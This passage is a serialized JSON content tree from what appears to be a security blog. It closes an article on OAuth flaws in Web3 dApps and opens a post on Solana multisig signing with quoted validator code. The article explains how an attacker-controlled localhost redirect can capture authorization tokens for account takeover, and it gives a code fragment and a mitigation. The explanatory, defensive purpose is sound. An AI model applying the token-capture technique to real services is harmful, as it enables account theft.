"tag":217,"props":96620,"children":96621},{"style":7154},[96622],{"type":32,"value":64784},{"type":26,"tag":217,"props":96624,"children":96625},{"style":7064},[96626],{"type":32,"value":65127},{"type":26,"tag":217,"props":96628,"children":96629},{"style":7048},[96630],{"type":32,"value":7841},{"type":26,"tag":217,"props":96632,"children":96633},{"class":7028,"line":7910},[96634,96638,96642,96646,96650],{"type":26,"tag":217,"props":96635,"children":96636},{"style":7064},[96637],{"type":32,"value":65139},{"type":26,"tag":217,"props":96639,"children":96640},{"style":7048},[96641],{"type":32,"value":65144},{"type":26,"tag":217,"props":96643,"children":96644},{"style":7149},[96645],{"type":32,"value":267},{"type":26,"tag":217,"props":96647,"children":96648},{"style":7130},[96649],{"type":32,"value":65153},{"type":26,"tag":217,"props":96651,"children":96652},{"style":7048},[96653],{"type":32,"value":7618},{"type":26,"tag":217,"props":96655,"children":96656},{"class":7028,"line":7954},[96657,96661],{"type":26,"tag":217,"props":96658,"children":96659},{"style":7064},[96660],{"type":32,"value":65165},{"type":26,"tag":217,"props":96662,"children":96663},{"style":7048},[96664],{"type":32,"value":8064},{"type":26,"tag":217,"props":96666,"children":96667},{"class":7028,"line":7985},[96668,96672,96676,96680],{"type":26,"tag":217,"props":96669,"children":96670},{"style":7154},[96671],{"type":32,"value":65177},{"type":26,"tag":217,"props":96673,"children":96674},{"style":7048},[96675],{"type":32,"value":1851},{"type":26,"tag":217,"props":96677,"children":96678},{"style":7338},[96679],{"type":32,"value":65186},{"type":26,"tag":217,"props":96681,"children":96682},{"style":7048},[96683],{"type":32,"value":7618},{"type":26,"tag":217,"props":96685,"children":96686},{"class":7028,"line":8027},[96687,96691,96695],{"type":26,"tag":217,"props":96688,"children":96689},{"style":7048},[96690],{"type":32,"value":65198},{"type":26,"tag":217,"props":96692,"children":96693},{"style":7064},[96694],{"type":32,"value":65203},{"type":26,"tag":217,"props":96696,"children":96697},{"style":7048},[96698],{"type":32,"value":8064},{"type":26,"tag":217,"props":96700,"children":96701},{"class":7028,"line":8035},[96702,96706],{"type":26,"tag":217,"props":96703,"children":96704},{"style":7064},[96705],{"type":32,"value":65215},{"type":26,"tag":217,"props":96707,"children":96708},{"style":7048},[96709],{"type":32,"value":8064},{"type":26,"tag":217,"props":96711,"children":96712},{"class":7028,"line":8067},[96713,96717,96721,96725,96729],{"type":26,"tag":217,"props":96714,"children":96715},{"style":7064},[96716],{"type":32,"value":65227},{"type":26,"tag":217,"props":96718,"children":96719},{"style":7048},[96720],{"type":32,"value":65232},{"type":26,"tag":217,"props":96722,"children":96723},{"style":7149},[96724],{"type":32,"value":267},{"type":26,"tag":217,"props":96726,"children":96727},{"style":7338},[96728],{"type":32,"value":65241},{"type":26,"tag":217,"props":96730,"children":96731},{"style":7048},[96732],{"type":32,"value":10025},{"type":26,"tag":217,"props":96734,"children":96735},{"class":7028,"line":8107},[96736,96740,96744,96748,96752,96756,96760,96764],{"type":26,"tag":217,"props":96737,"children":96738},{"style":7064},[96739],{"type":32,"value":65227},{"type":26,"tag":217,"props":96741,"children":96742},{"style":7048},[96743],{"type":32,"value":65257},{"type":26,"tag":217,"props":96745,"children":96746},{"style":7149},[96747],{"type":32,"value":267},{"type":26,"tag":217,"props":96749,"children":96750},{"style":7338},[96751],{"type":32,"value":65266},{"type":26,"tag":217,"props":96753,"children":96754},{"style":7048},[96755],{"type":32,"value":65271},{"type":26,"tag":217,"props":96757,"children":96758},{"style":7149},[96759],{"type":32,"value":267},{"type":26,"tag":217,"props":96761,"children":96762},{"style":7338},[96763],{"type":32,"value":65280},{"type":26,"tag":217,"props":96765,"children":96766},{"style":7048},[96767],{"type":32,"value":10025},{"type":26,"tag":217,"props":96769,"children":96770},{"class":7028,"line":8145},[96771,96775,96779,96783],{"type":26,"tag":217,"props":96772,"children":96773},{"style":7064},[96774],{"type":32,"value":65292},{"type":26,"tag":217,"props":96776,"children":96777},{"style":7048},[96778],{"type":32,"value":1851},{"type":26,"tag":217,"props":96780,"children":96781},{"style":7338},[96782],{"type":32,"value":65301},{"type":26,"tag":217,"props":96784,"children":96785},{"style":7048},[96786],{"type":32,"value":10025},{"type":26,"tag":217,"props":96788,"children":96789},{"class":7028,"line":8154},[96790],{"type":26,"tag":217,"props":96791,"children":96792},{"style":7048},[96793],{"type":32,"value":63178},{"type":26,"tag":217,"props":96795,"children":96796},{"class":7028,"line":8162},[96797,96801],{"type":26,"tag":217,"props":96798,"children":96799},{"style":7064},[96800],{"type":32,"value":65320},{"type":26,"tag":217,"props":96802,"children":96803},{"style":7048},[96804],{"type":32,"value":8064},{"type":26,"tag":217,"props":96806,"children":96807},{"class":7028,"line":8197},[96808,96812,96816,96820,96824],{"type":26,"tag":217,"props":96809,"children":96810},{"style":7064},[96811],{"type":32,"value":65332},{"type":26,"tag":217,"props":96813,"children":96814},{"style":7048},[96815],{"type":32,"value":65337},{"type":26,"tag":217,"props":96817,"children":96818},{"style":7149},[96819],{"type":32,"value":3540},{"type":26,"tag":217,"props":96821,"children":96822},{"style":7338},[96823],{"type":32,"value":65346},{"type":26,"tag":217,"props":96825,"children":96826},{"style":7048},[96827],{"type":32,"value":65351},{"type":26,"tag":217,"props":96829,"children":96830},{"class":7028,"line":8220},[96831,96835],{"type":26,"tag":217,"props":96832,"children":96833},{"style":7064},[96834],{"type":32,"value":65359},{"type":26,"tag":217,"props":96836,"children":96837},{"style":7048},[96838],{"type":32,"value":8064},{"type":26,"tag":217,"props":96840,"children":96841},{"class":7028,"line":8228},[96842,96846],{"type":26,"tag":217,"props":96843,"children":96844},{"style":7149},[96845],{"type":32,"value":65371},{"type":26,"tag":217,"props":96847,"children":96848},{"style":7338},[96849],{"type":32,"value":96850},"\"document.body.innerText = location.search;\"\n",{"type":26,"tag":217,"props":96852,"children":96853},{"class":7028,"line":8292},[96854],{"type":26,"tag":217,"props":96855,"children":96856},{"style":7048},[96857],{"type":32,"value":65384},{"type":26,"tag":217,"props":96859,"children":96860},{"class":7028,"line":8351},[96861],{"type":26,"tag":217,"props":96862,"children":96863},{"style":7048},[96864],{"type":32,"value":63178},{"type":26,"tag":217,"props":96866,"children":96867},{"class":7028,"line":8391},[96868],{"type":26,"tag":217,"props":96869,"children":96870},{"style":7048},[96871],{"type":32,"value":63186},{"type":26,"tag":217,"props":96873,"children":96874},{"class":7028,"line":8439},[96875],{"type":26,"tag":217,"props":96876,"children":96877},{"style":7048},[96878],{"type":32,"value":13407},{"type":26,"tag":217,"props":96880,"children":96881},{"class":7028,"line":8448},[96882],{"type":26,"tag":217,"props":96883,"children":96884},{"style":7048},[96885],{"type":32,"value":36205},{"type":26,"tag":217,"props":96887,"children":96888},{"class":7028,"line":8456},[96889,96893,96897,96901,96905,96909],{"type":26,"tag":217,"props":96890,"children":96891},{"style":7048},[96892],{"type":32,"value":65420},{"type":26,"tag":217,"props":96894,"children":96895},{"style":7064},[96896],{"type":32,"value":25299},{"type":26,"tag":217,"props":96898,"children":96899},{"style":7048},[96900],{"type":32,"value":65429},{"type":26,"tag":217,"props":96902,"children":96903},{"style":7149},[96904],{"type":32,"value":267},{"type":26,"tag":217,"props":96906,"children":96907},{"style":7154},[96908],{"type":32,"value":7902},{"type":26,"tag":217,"props":96910,"children":96911},{"style":7048},[96912],{"type":32,"value":10025},{"type":26,"tag":217,"props":96914,"children":96915},{"class":7028,"line":8500},[96916],{"type":26,"tag":217,"props":96917,"children":96918},{"style":7048},[96919],{"type":32,"value":9754},{"type":26,"tag":217,"props":96921,"children":96922},{"class":7028,"line":8535},[96923],{"type":26,"tag":217,"props":96924,"children":96925},{"style":7048},[96926],{"type":32,"value":7184},{"type":26,"tag":39,"props":96928,"children":96929},{},[96930],{"type":32,"value":96931},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":26,"tag":39,"props":96933,"children":96934},{},[96935],{"type":32,"value":96936},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":26,"tag":607,"props":96938,"children":96940},{"id":96939},"mitigation-1",[96941],{"type":32,"value":66688},{"type":26,"tag":39,"props":96943,"children":96944},{},[96945,96947,96952],{"type":32,"value":96946},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":26,"tag":83,"props":96948,"children":96950},{"className":96949},[],[96951],{"type":32,"value":64380},{"type":32,"value":96953}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":26,"tag":27,"props":96955,"children":96956},{"id":9272},[96957],{"type":32,"value":9275},{"type":26,"tag":39,"props":96959,"children":96960},{},[96961],{"type":32,"value":96962},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":26,"tag":39,"props":96964,"children":96965},{},[96966],{"type":32,"value":96967},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":26,"tag":9282,"props":96969,"children":96970},{},[96971],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":96973},[96974,96981,96986,96989],{"id":95407,"depth":6770,"text":95410,"children":96975},[96976,96977,96978,96979,96980],{"id":95418,"depth":6779,"text":95421},{"id":95445,"depth":6779,"text":95448},{"id":95505,"depth":6779,"text":95508},{"id":95562,"depth":6779,"text":95565},{"id":95660,"depth":6779,"text":95663},{"id":95706,"depth":6770,"text":95709,"children":96982},[96983,96984,96985],{"id":95712,"depth":6779,"text":95715},{"id":95739,"depth":6779,"text":95742},{"id":66685,"depth":6779,"text":66688},{"id":96188,"depth":6770,"text":96191,"children":96987},[96988],{"id":96939,"depth":6779,"text":66688},{"id":9272,"depth":6770,"text":9275},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":96994,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":96995,"description":96996,"date":96997,"author":96998,"image":96999,"isFeatured":17,"onBlogPage":17,"tags":97003,"body":97004,"_type":6799,"_id":98857,"_source":6801,"_file":98858,"_stem":98859,"_extension":6804},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22","robert",{"src":97000,"width":97001,"height":97002},"/posts/multisig-security/title.png",970,826,[90642],{"type":23,"children":97005,"toc":98848},[97006,97019,97025,97030,97036,97049,97057,97070,97131,97152,97281,97286,97299,97311,97317,97331,97344,97358,97838,97843,97851,97865,97879,98020,98032,98038,98043,98061,98066,98071,98092,98380,98399,98593,98606,98735,98740,98745,98750,98778,98784,98789,98803,98844],{"type":26,"tag":39,"props":97007,"children":97008},{},[97009,97010,97017],{"type":32,"value":475},{"type":26,"tag":163,"props":97011,"children":97014},{"href":97012,"rel":97013},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[167],[97015],{"type":32,"value":97016},"Bybit hack",{"type":32,"value":97018}," raises an interesting question: what can teams do if their signers are compromised?",{"type":26,"tag":27,"props":97020,"children":97022},{"id":97021},"solana-signatures",[97023],{"type":32,"value":97024},"Solana Signatures",{"type":26,"tag":39,"props":97026,"children":97027},{},[97028],{"type":32,"value":97029},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":26,"tag":607,"props":97031,"children":97033},{"id":97032},"recent-blockhash",[97034],{"type":32,"value":97035},"Recent Blockhash",{"type":26,"tag":39,"props":97037,"children":97038},{},[97039,97041,97048],{"type":32,"value":97040},"The most straightforward is with a \"recent blockhash\". From ",{"type":26,"tag":163,"props":97042,"children":97045},{"href":97043,"rel":97044},"https://solana.com/developers/guides/advanced/confirmation",[167],[97046],{"type":32,"value":97047},"the docs",{"type":32,"value":1473},{"type":26,"tag":35,"props":97050,"children":97051},{},[97052],{"type":26,"tag":39,"props":97053,"children":97054},{},[97055],{"type":32,"value":97056},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":26,"tag":39,"props":97058,"children":97059},{},[97060,97062,97069],{"type":32,"value":97061},"The actual constant ",{"type":26,"tag":163,"props":97063,"children":97066},{"href":97064,"rel":97065},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[167],[97067],{"type":32,"value":97068},"is defined here",{"type":32,"value":180},{"type":26,"tag":207,"props":97071,"children":97073},{"className":56140,"code":97072,"language":56139,"meta":8,"style":8},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[97074],{"type":26,"tag":83,"props":97075,"children":97076},{"__ignoreMap":8},[97077,97085],{"type":26,"tag":217,"props":97078,"children":97079},{"class":7028,"line":7029},[97080],{"type":26,"tag":217,"props":97081,"children":97082},{"style":7033},[97083],{"type":32,"value":97084},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":26,"tag":217,"props":97086,"children":97087},{"class":7028,"line":6770},[97088,97092,97097,97102,97106,97110,97114,97119,97123,97127],{"type":26,"tag":217,"props":97089,"children":97090},{"style":7154},[97091],{"type":32,"value":56830},{"type":26,"tag":217,"props":97093,"children":97094},{"style":7154},[97095],{"type":32,"value":97096}," const",{"type":26,"tag":217,"props":97098,"children":97099},{"style":7048},[97100],{"type":32,"value":97101}," MAX_PROCESSING_AGE",{"type":26,"tag":217,"props":97103,"children":97104},{"style":7149},[97105],{"type":32,"value":1473},{"type":26,"tag":217,"props":97107,"children":97108},{"style":7119},[97109],{"type":32,"value":94410},{"type":26,"tag":217,"props":97111,"children":97112},{"style":7149},[97113],{"type":32,"value":8993},{"type":26,"tag":217,"props":97115,"children":97116},{"style":7048},[97117],{"type":32,"value":97118}," MAX_RECENT_BLOCKHASHES ",{"type":26,"tag":217,"props":97120,"children":97121},{"style":7149},[97122],{"type":32,"value":5756},{"type":26,"tag":217,"props":97124,"children":97125},{"style":7130},[97126],{"type":32,"value":9725},{"type":26,"tag":217,"props":97128,"children":97129},{"style":7048},[97130],{"type":32,"value":7162},{"type":26,"tag":39,"props":97132,"children":97133},{},[97134,97136,97143,97145,97151],{"type":32,"value":97135},"For those curious, the logic ",{"type":26,"tag":163,"props":97137,"children":97140},{"href":97138,"rel":97139},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[167],[97141],{"type":32,"value":97142},"starts here",{"type":32,"value":97144}," and is quite straightforward to follow, ending in a ",{"type":26,"tag":83,"props":97146,"children":97148},{"className":97147},[],[97149],{"type":32,"value":97150},"is_hash_index_valid",{"type":32,"value":48259},{"type":26,"tag":207,"props":97153,"children":97155},{"className":56140,"code":97154,"language":56139,"meta":8,"style":8},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[97156],{"type":26,"tag":83,"props":97157,"children":97158},{"__ignoreMap":8},[97159,97238,97274],{"type":26,"tag":217,"props":97160,"children":97161},{"class":7028,"line":7029},[97162,97166,97171,97175,97180,97184,97188,97192,97197,97201,97205,97209,97214,97218,97222,97226,97230,97234],{"type":26,"tag":217,"props":97163,"children":97164},{"style":7154},[97165],{"type":32,"value":77603},{"type":26,"tag":217,"props":97167,"children":97168},{"style":7064},[97169],{"type":32,"value":97170}," is_hash_index_valid",{"type":26,"tag":217,"props":97172,"children":97173},{"style":7048},[97174],{"type":32,"value":1851},{"type":26,"tag":217,"props":97176,"children":97177},{"style":7054},[97178],{"type":32,"value":97179},"last_hash_index",{"type":26,"tag":217,"props":97181,"children":97182},{"style":7149},[97183],{"type":32,"value":1473},{"type":26,"tag":217,"props":97185,"children":97186},{"style":7119},[97187],{"type":32,"value":91146},{"type":26,"tag":217,"props":97189,"children":97190},{"style":7048},[97191],{"type":32,"value":7599},{"type":26,"tag":217,"props":97193,"children":97194},{"style":7054},[97195],{"type":32,"value":97196},"max_age",{"type":26,"tag":217,"props":97198,"children":97199},{"style":7149},[97200],{"type":32,"value":1473},{"type":26,"tag":217,"props":97202,"children":97203},{"style":7119},[97204],{"type":32,"value":94410},{"type":26,"tag":217,"props":97206,"children":97207},{"style":7048},[97208],{"type":32,"value":7599},{"type":26,"tag":217,"props":97210,"children":97211},{"style":7054},[97212],{"type":32,"value":97213},"hash_index",{"type":26,"tag":217,"props":97215,"children":97216},{"style":7149},[97217],{"type":32,"value":1473},{"type":26,"tag":217,"props":97219,"children":97220},{"style":7119},[97221],{"type":32,"value":91146},{"type":26,"tag":217,"props":97223,"children":97224},{"style":7048},[97225],{"type":32,"value":8380},{"type":26,"tag":217,"props":97227,"children":97228},{"style":7149},[97229],{"type":32,"value":10115},{"type":26,"tag":217,"props":97231,"children":97232},{"style":7119},[97233],{"type":32,"value":79568},{"type":26,"tag":217,"props":97235,"children":97236},{"style":7048},[97237],{"type":32,"value":8064},{"type":26,"tag":217,"props":97239,"children":97240},{"class":7028,"line":6770},[97241,97246,97250,97255,97259,97264,97269],{"type":26,"tag":217,"props":97242,"children":97243},{"style":7054},[97244],{"type":32,"value":97245},"    last_hash_index",{"type":26,"tag":217,"props":97247,"children":97248},{"style":7149},[97249],{"type":32,"value":12618},{"type":26,"tag":217,"props":97251,"children":97252},{"style":7054},[97253],{"type":32,"value":97254}," hash_index",{"type":26,"tag":217,"props":97256,"children":97257},{"style":7149},[97258],{"type":32,"value":92297},{"type":26,"tag":217,"props":97260,"children":97261},{"style":7054},[97262],{"type":32,"value":97263}," max_age",{"type":26,"tag":217,"props":97265,"children":97266},{"style":7154},[97267],{"type":32,"value":97268}," as",{"type":26,"tag":217,"props":97270,"children":97271},{"style":7119},[97272],{"type":32,"value":97273}," u64\n",{"type":26,"tag":217,"props":97275,"children":97276},{"class":7028,"line":6779},[97277],{"type":26,"tag":217,"props":97278,"children":97279},{"style":7048},[97280],{"type":32,"value":7184},{"type":26,"tag":39,"props":97282,"children":97283},{},[97284],{"type":32,"value":97285},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":26,"tag":35,"props":97287,"children":97288},{},[97289],{"type":26,"tag":39,"props":97290,"children":97291},{},[97292,97294],{"type":32,"value":97293},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":26,"tag":9348,"props":97295,"children":97296},{},[97297],{"type":32,"value":97298},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":26,"tag":39,"props":97300,"children":97301},{},[97302,97304,97309],{"type":32,"value":97303},"This means an attacker ",{"type":26,"tag":65,"props":97305,"children":97306},{},[97307],{"type":32,"value":97308},"must use",{"type":32,"value":97310}," a malicious signed transaction within a short timeframe.",{"type":26,"tag":607,"props":97312,"children":97314},{"id":97313},"durable-nonce",[97315],{"type":32,"value":97316},"Durable Nonce",{"type":26,"tag":39,"props":97318,"children":97319},{},[97320,97322,97329],{"type":32,"value":97321},"The second type of signature ",{"type":26,"tag":163,"props":97323,"children":97326},{"href":97324,"rel":97325},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[167],[97327],{"type":32,"value":97328},"is a durable nonce",{"type":32,"value":97330},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":26,"tag":35,"props":97332,"children":97333},{},[97334],{"type":26,"tag":39,"props":97335,"children":97336},{},[97337,97339],{"type":32,"value":97338},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":26,"tag":9348,"props":97340,"children":97341},{},[97342],{"type":32,"value":97343},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":26,"tag":39,"props":97345,"children":97346},{},[97347,97349,97356],{"type":32,"value":97348},"If we examine the code ",{"type":26,"tag":163,"props":97350,"children":97353},{"href":97351,"rel":97352},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[167],[97354],{"type":32,"value":97355},"for recent blockhash validation",{"type":32,"value":97357},", we can also see the handling for durable nonces.",{"type":26,"tag":207,"props":97359,"children":97361},{"className":56140,"code":97360,"language":56139,"meta":8,"style":8},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[97362],{"type":26,"tag":83,"props":97363,"children":97364},{"__ignoreMap":8},[97365,97410,97478,97498,97519,97549,97556,97610,97626,97646,97658,97670,97677,97684,97703,97730,97750,97757,97772,97801,97831],{"type":26,"tag":217,"props":97366,"children":97367},{"class":7028,"line":7029},[97368,97372,97377,97381,97385,97389,97393,97397,97401,97406],{"type":26,"tag":217,"props":97369,"children":97370},{"style":7154},[97371],{"type":32,"value":77780},{"type":26,"tag":217,"props":97373,"children":97374},{"style":7054},[97375],{"type":32,"value":97376}," recent_blockhash",{"type":26,"tag":217,"props":97378,"children":97379},{"style":7149},[97380],{"type":32,"value":8993},{"type":26,"tag":217,"props":97382,"children":97383},{"style":7054},[97384],{"type":32,"value":79654},{"type":26,"tag":217,"props":97386,"children":97387},{"style":7149},[97388],{"type":32,"value":180},{"type":26,"tag":217,"props":97390,"children":97391},{"style":7064},[97392],{"type":32,"value":93922},{"type":26,"tag":217,"props":97394,"children":97395},{"style":7048},[97396],{"type":32,"value":78002},{"type":26,"tag":217,"props":97398,"children":97399},{"style":7149},[97400],{"type":32,"value":180},{"type":26,"tag":217,"props":97402,"children":97403},{"style":7064},[97404],{"type":32,"value":97405},"recent_blockhash",{"type":26,"tag":217,"props":97407,"children":97408},{"style":7048},[97409],{"type":32,"value":8217},{"type":26,"tag":217,"props":97411,"children":97412},{"class":7028,"line":6770},[97413,97417,97422,97427,97431,97436,97440,97444,97449,97453,97458,97462,97466,97470,97474],{"type":26,"tag":217,"props":97414,"children":97415},{"style":7042},[97416],{"type":32,"value":9710},{"type":26,"tag":217,"props":97418,"children":97419},{"style":7154},[97420],{"type":32,"value":97421}," let",{"type":26,"tag":217,"props":97423,"children":97424},{"style":7119},[97425],{"type":32,"value":97426}," Some",{"type":26,"tag":217,"props":97428,"children":97429},{"style":7048},[97430],{"type":32,"value":1851},{"type":26,"tag":217,"props":97432,"children":97433},{"style":7054},[97434],{"type":32,"value":97435},"hash_info",{"type":26,"tag":217,"props":97437,"children":97438},{"style":7048},[97439],{"type":32,"value":8380},{"type":26,"tag":217,"props":97441,"children":97442},{"style":7149},[97443],{"type":32,"value":267},{"type":26,"tag":217,"props":97445,"children":97446},{"style":7054},[97447],{"type":32,"value":97448}," hash_queue",{"type":26,"tag":217,"props":97450,"children":97451},{"style":7149},[97452],{"type":32,"value":180},{"type":26,"tag":217,"props":97454,"children":97455},{"style":7064},[97456],{"type":32,"value":97457},"get_hash_info_if_valid",{"type":26,"tag":217,"props":97459,"children":97460},{"style":7048},[97461],{"type":32,"value":1851},{"type":26,"tag":217,"props":97463,"children":97464},{"style":7054},[97465],{"type":32,"value":97405},{"type":26,"tag":217,"props":97467,"children":97468},{"style":7048},[97469],{"type":32,"value":7599},{"type":26,"tag":217,"props":97471,"children":97472},{"style":7054},[97473],{"type":32,"value":97196},{"type":26,"tag":217,"props":97475,"children":97476},{"style":7048},[97477],{"type":32,"value":7618},{"type":26,"tag":217,"props":97479,"children":97480},{"class":7028,"line":6779},[97481,97485,97489,97494],{"type":26,"tag":217,"props":97482,"children":97483},{"style":7119},[97484],{"type":32,"value":91758},{"type":26,"tag":217,"props":97486,"children":97487},{"style":7048},[97488],{"type":32,"value":1851},{"type":26,"tag":217,"props":97490,"children":97491},{"style":7119},[97492],{"type":32,"value":97493},"CheckedTransactionDetails",{"type":26,"tag":217,"props":97495,"children":97496},{"style":7048},[97497],{"type":32,"value":8064},{"type":26,"tag":217,"props":97499,"children":97500},{"class":7028,"line":7140},[97501,97506,97510,97515],{"type":26,"tag":217,"props":97502,"children":97503},{"style":7054},[97504],{"type":32,"value":97505},"            nonce",{"type":26,"tag":217,"props":97507,"children":97508},{"style":7149},[97509],{"type":32,"value":1473},{"type":26,"tag":217,"props":97511,"children":97512},{"style":7119},[97513],{"type":32,"value":97514}," None",{"type":26,"tag":217,"props":97516,"children":97517},{"style":7048},[97518],{"type":32,"value":10953},{"type":26,"tag":217,"props":97520,"children":97521},{"class":7028,"line":7165},[97522,97527,97531,97536,97540,97545],{"type":26,"tag":217,"props":97523,"children":97524},{"style":7054},[97525],{"type":32,"value":97526},"            lamports_per_signature",{"type":26,"tag":217,"props":97528,"children":97529},{"style":7149},[97530],{"type":32,"value":1473},{"type":26,"tag":217,"props":97532,"children":97533},{"style":7054},[97534],{"type":32,"value":97535}," hash_info",{"type":26,"tag":217,"props":97537,"children":97538},{"style":7149},[97539],{"type":32,"value":180},{"type":26,"tag":217,"props":97541,"children":97542},{"style":7064},[97543],{"type":32,"value":97544},"lamports_per_signature",{"type":26,"tag":217,"props":97546,"children":97547},{"style":7048},[97548],{"type":32,"value":79153},{"type":26,"tag":217,"props":97550,"children":97551},{"class":7028,"line":7178},[97552],{"type":26,"tag":217,"props":97553,"children":97554},{"style":7048},[97555],{"type":32,"value":79190},{"type":26,"tag":217,"props":97557,"children":97558},{"class":7028,"line":7389},[97559,97563,97567,97571,97575,97579,97583,97588,97592,97597,97601,97605],{"type":26,"tag":217,"props":97560,"children":97561},{"style":7048},[97562],{"type":32,"value":40847},{"type":26,"tag":217,"props":97564,"children":97565},{"style":7042},[97566],{"type":32,"value":40852},{"type":26,"tag":217,"props":97568,"children":97569},{"style":7042},[97570],{"type":32,"value":60711},{"type":26,"tag":217,"props":97572,"children":97573},{"style":7154},[97574],{"type":32,"value":97421},{"type":26,"tag":217,"props":97576,"children":97577},{"style":7119},[97578],{"type":32,"value":97426},{"type":26,"tag":217,"props":97580,"children":97581},{"style":7048},[97582],{"type":32,"value":8370},{"type":26,"tag":217,"props":97584,"children":97585},{"style":7054},[97586],{"type":32,"value":97587},"nonce",{"type":26,"tag":217,"props":97589,"children":97590},{"style":7048},[97591],{"type":32,"value":7599},{"type":26,"tag":217,"props":97593,"children":97594},{"style":7054},[97595],{"type":32,"value":97596},"previous_lamports_per_signature",{"type":26,"tag":217,"props":97598,"children":97599},{"style":7048},[97600],{"type":32,"value":9156},{"type":26,"tag":217,"props":97602,"children":97603},{"style":7149},[97604],{"type":32,"value":267},{"type":26,"tag":217,"props":97606,"children":97607},{"style":7154},[97608],{"type":32,"value":97609}," self\n",{"type":26,"tag":217,"props":97611,"children":97612},{"class":7028,"line":7406},[97613,97617,97622],{"type":26,"tag":217,"props":97614,"children":97615},{"style":7149},[97616],{"type":32,"value":93136},{"type":26,"tag":217,"props":97618,"children":97619},{"style":7064},[97620],{"type":32,"value":97621},"check_load_and_advance_message_nonce_account",{"type":26,"tag":217,"props":97623,"children":97624},{"style":7048},[97625],{"type":32,"value":10932},{"type":26,"tag":217,"props":97627,"children":97628},{"class":7028,"line":7439},[97629,97634,97638,97642],{"type":26,"tag":217,"props":97630,"children":97631},{"style":7054},[97632],{"type":32,"value":97633},"            tx",{"type":26,"tag":217,"props":97635,"children":97636},{"style":7149},[97637],{"type":32,"value":180},{"type":26,"tag":217,"props":97639,"children":97640},{"style":7064},[97641],{"type":32,"value":93922},{"type":26,"tag":217,"props":97643,"children":97644},{"style":7048},[97645],{"type":32,"value":79153},{"type":26,"tag":217,"props":97647,"children":97648},{"class":7028,"line":7487},[97649,97654],{"type":26,"tag":217,"props":97650,"children":97651},{"style":7054},[97652],{"type":32,"value":97653},"            next_durable_nonce",{"type":26,"tag":217,"props":97655,"children":97656},{"style":7048},[97657],{"type":32,"value":10953},{"type":26,"tag":217,"props":97659,"children":97660},{"class":7028,"line":7524},[97661,97666],{"type":26,"tag":217,"props":97662,"children":97663},{"style":7054},[97664],{"type":32,"value":97665},"            